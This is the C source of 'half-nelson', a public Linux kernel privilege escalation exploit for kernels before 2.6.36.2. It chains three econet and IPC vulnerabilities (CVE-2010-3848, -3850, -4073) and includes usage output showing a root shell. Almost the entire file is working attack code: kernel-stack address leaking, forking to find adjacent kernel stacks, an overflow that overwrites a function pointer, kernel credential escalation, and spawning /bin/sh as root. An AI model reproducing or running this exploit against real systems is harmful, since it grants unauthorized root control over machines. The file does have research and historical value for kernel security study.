half-nelson.c

/*
 * half-nelson.c
 *
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges by
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
 *   allows local users to bypass intended access restrictions and configure
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
 *   initialize certain structures, which allows local users to obtain
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent's restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges.
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be
 *   a bit tricky due to some particulars of the econet vulnerability. A full
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
    unsigned char station;
    unsigned char net;
};

struct sockaddr_ec {
    unsigned short sec_family;
    unsigned char port;
    unsigned char cb;
    unsigned char type;
    struct ec_addr addr;
    unsigned long cookie;
};

struct ipc64_perm {
    uint32_t key;
    uint32_t uid;
    uint32_t gid;
    uint32_t cuid;
    uint32_t cgid;
    uint32_t mode;
    uint16_t seq;
    uint16_t __pad2;
    unsigned long __unused1;
    unsigned long __unused2;
};

struct semid64_ds {
    struct ipc64_perm sem_perm;
    unsigned long sem_otime;
    unsigned long __unused1;
    unsigned long sem_ctime;
    unsigned long __unused;
    unsigned long sem_nsems;
    unsigned long __unused3;
    unsigned long __unused4;
};

union semun {
    int val;
    struct semid_ds *buf;
    unsigned short *array;
    struct seminfo *__buf;
};

struct region {
    unsigned long parent;
    unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void)
{
    commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
    asm volatile (
        "mov $kernel_code, %rax\n"
        "call *%rax\n"
    );
}

void
payload_child(void)
{
    asm volatile (
        "movq $payload_parent, (%0)\n"
        "jmpq *%1\n"
        :
        : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
    );
}

unsigned long
get_kstack(void)
{
    int i, size, offset;
    union semun *arg;
    struct semid_ds dummy;
    struct semid64_ds *leaked;
    char *stack_start, *stack_end;
    unsigned char *p;
    unsigned long kstack, *ptr;

    /* make sure our argument is 32-bit accessible */
    arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (arg == MAP_FAILED) {
        printf("[-] failure mapping memory, aborting!\n");
        exit(1);
    }

    /* map a fake stack to use during syscall */
    stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (stack_start == MAP_FAILED) {
        printf("[-] failure mapping memory, aborting!\n");
        exit(1);
    }
    stack_end = stack_start + 4096;

    memset(arg, 0, sizeof(union semun));
    memset(&dummy, 0, sizeof(struct semid_ds));
    arg->buf = &dummy;

    /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
    asm volatile (
        "push %%rax\n"
        "push %%rbx\n"
        "push %%rcx\n"
        "push %%rdx\n"
        "push %%rsi\n"
        "push %%rdi\n"
        "movl %0, %%eax\n"
        "movl %1, %%ebx\n"
        "movl %2, %%ecx\n"
        "movl %3, %%edx\n"
        "movl %4, %%esi\n"
        "movq %5, %%rdi\n"
        "movq %%rsp, %%r8\n"
        "movq %6, %%rsp\n"
        "push %%r8\n"
        "int $0x80\n"
        "pop %%r8\n"
        "movq %%r8, %%rsp\n"
        "pop %%rdi\n"
        "pop %%rsi\n"
        "pop %%rdx\n"
        "pop %%rcx\n"
        "pop %%rbx\n"
        "pop %%rax\n"
        :
        : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
        : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
    );

    /* naively extract a pointer to the kstack from the kstack */
    p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
    kstack = *(unsigned long *) p;

    if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
        printf("[-] failed to leak a suitable kstack address, try again!\n");
        exit(1);
    }
    if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
        printf("[-] failed to leak a suitable kstack address, try again!\n");
        exit(1);
    }

    kstack = kstack & ~0x1fff;

    return kstack;
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}
int
get_adjacent_kstacks(void)
{
    int i, ret, shm, pid, type;

    /* create shared communication channel between parent and its children */
    shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if (shm < 0) {
        printf("[-] failed creating shared memory, aborting!\n");
        exit(1);
    }

    ret = ftruncate(shm, sizeof(struct region));
    if (ret != 0) {
        printf("[-] failed resizing shared memory, aborting!\n");
        exit(1);
    }

    region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
    memset(region, KSTACK_UNINIT, sizeof(struct region));

    /* parent kstack self-discovery */
    region->parent = get_kstack();

    printf("[+] found parent kstack at 0x%lx\n", region->parent);

    /* fork and discover children with adjacently-allocated kernel stacks */
    for (i = 0; i < NPROC; ++i) {
        pid = fork();

        if (pid > 0) {
            type = KSTACK_PARENT;
            continue;
        } else if (pid == 0) {
            /* children do kstack self-discovery */
            region->addrs[i] = get_kstack();

            /* children sleep until parent has found adjacent children */
            while (1) {
                sleep(1);
                if (region->addrs[i] == KSTACK_DIE) {
                    /* parent doesn't need us :-( */
                    exit(0);
                } else if (region->addrs[i] == KSTACK_UPPER) {
                    /* we're the upper adjacent process */
                    type = KSTACK_UPPER;
                    break;
                } else if (region->addrs[i] == KSTACK_LOWER) {
                    /* we're the lower adjacent process */
                    type = KSTACK_LOWER;
                    break;
                }
            }
            break;
        } else {
            printf("[-] fork failed, aborting!\n");
            exit(1);
        }
    }

    return type;
}

void
do_parent(void)
{
    int i, j, upper, lower;

    /* parent sleeps until we've discovered all the child kstacks */
    while (1) {
        sleep(1);
        for (i = 0; i < NPROC; ++i) {
            if (region->addrs[i] == KSTACK_UNINIT) {
                break;
            }
        }
        if (i == NPROC) {
            break;
        }
    }

    /* figure out if we have any adjacent child kstacks */
    for (i = 0; i < NPROC; ++i) {
        for (j = 0; j < NPROC; ++j) {
            if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
                break;
            }
        }
        if (j != NPROC) {
            break;
        }
    }
    if (i == NPROC && j == NPROC) {
        printf("[-] failed to find adjacent kstacks, try again!\n");
        exit(1);
    }

    upper = i;
    lower = j;

    printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);

    /* signal to non-adjacent children to die */
    for (i = 0; i < NPROC; ++i) {
        if (i != upper && i != lower) {
            region->addrs[i] = KSTACK_DIE;
        }
    }

    /* signal adjacent children to continue on */
    region->addrs[upper] = KSTACK_UPPER;
    region->addrs[lower] = KSTACK_LOWER;

    /* parent sleeps until child has clobbered the fptr */
    while (1) {
        sleep(1);
        if (region->parent == KSTACK_CLOBBER) {
            break;
        }
    }

    printf("[+] escalating privileges...\n");

    /* trigger our clobbered fptr */
    syscall(__NR_restart_syscall);

    /* our privileges should be escalated now */
    if (getuid() != 0) {
        printf("[-] privilege escalation failed, aborting!\n");
        exit(1);
    }

    printf("[+] launching root shell!\n");

    execl("/bin/sh", "/bin/sh", NULL);
}

void
do_child_upper(void)
{
    int i, ret, eco_sock;
    struct sockaddr_ec eco_addr;
    struct msghdr eco_msg;
    struct iovec iovs[IOVS];
    struct ifreq ifr;
    char *target;

    /* calculate payload target, skip prologue */
    target = (char *) payload_child;
    target += 4;

    /* give lower child a chance to enter its wait4 call */
    sleep(1);

    /* write some zeros */
    for (i = 0; i < STACK_OFFSET; ++i) {
        iovs[i].iov_base = (void *) 0x0;
        iovs[i].iov_len = 0;
    }

    /* overwrite saved ia32_sysret address on stack */
    iovs[STACK_OFFSET].iov_base = (void *) target;
    iovs[STACK_OFFSET].iov_len = 0x0246;

    /* force abort via EFAULT */
    for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
        iovs[i].iov_base = (void *) 0xffffffff00000000;
        iovs[i].iov_len = 0;
    }

    /* create econet socket */
    eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
    if (eco_sock < 0) {
        printf("[-] failed creating econet socket, aborting!\n");
        exit(1);
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "lo");

    /* trick econet into associated with the loopback */
    ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
    if (ret != 0) {
        printf("[-] failed setting interface address, aborting!\n");
        exit(1);
    }

    memset(&eco_addr, 0, sizeof(eco_addr));
    memset(&eco_msg, 0, sizeof(eco_msg));
    eco_msg.msg_name = &eco_addr;
    eco_msg.msg_namelen = sizeof(eco_addr);
    eco_msg.msg_flags = 0;
    eco_msg.msg_iov = &iovs[0];
    eco_msg.msg_iovlen = IOVS;

    printf("[+] upper child triggering stack overflow...\n");

    /* trigger the kstack overflow into lower child's kstack */
    ret = sendmsg(eco_sock, &eco_msg, 0);
    if (ret != -1 || errno != EFAULT) {
        printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
        exit(1);
    }

    close(eco_sock);
}

void
do_child_lower(void)
{
    int pid;

    printf("[+] lower child spawning a helper...\n");

    /* fork off a helper to wait4 on */
    pid = fork();
    if (pid == 0) {
        printf("[+] helper going to sleep...\n");
        sleep(5);
        printf("[+] helper woke up\n");
        exit(1);
    }

    printf("[+] lower child calling compat_sys_wait4 on helper...\n");

    /* syscall(NR_WAIT4, pid, 0, 0, 0) */
    asm volatile (
        "push %%rax\n"
        "push %%rbx\n"
        "push %%rcx\n"
        "push %%rdx\n"
        "push %%rsi\n"
        "movl %0, %%eax\n"
        "movl %1, %%ebx\n"
        "movl %2, %%ecx\n"
        "movl %3, %%edx\n"
        "movl %4, %%esi\n"
        "int $0x80\n"
        "pop %%rsi\n"
        "pop %%rdx\n"
        "pop %%rcx\n"
        "pop %%rbx\n"
        "pop %%rax\n"
        :
        : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
        : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
    );

    printf("[+] lower child returned from compat_sys_wait4\n");

    printf("[+] parent's restart_block has been clobbered\n");

    /* signal parent that our fptr should now be clobbered */
    region->parent = KSTACK_CLOBBER;
}

int
main(int argc, char **argv)
{
    int type;

    if (sizeof(unsigned long) != 8) {
        printf("[-] x86_64 only, sorry!\n");
        exit(1);
    }

    printf("[+] looking for symbols...\n");

    commit_creds = (_commit_creds) get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }

    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }

    ia32_sysret = get_symbol("ia32_sysret");
    if (!ia32_sysret) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }

    printf("[+] spawning children to achieve adjacent kstacks...\n");

    type = get_adjacent_kstacks();

    if (type == KSTACK_PARENT) {
        do_parent();
    } else if (type == KSTACK_UPPER) {
        do_child_upper();
    } else if (type == KSTACK_LOWER) {
        do_child_lower();
    }

    return 0;
}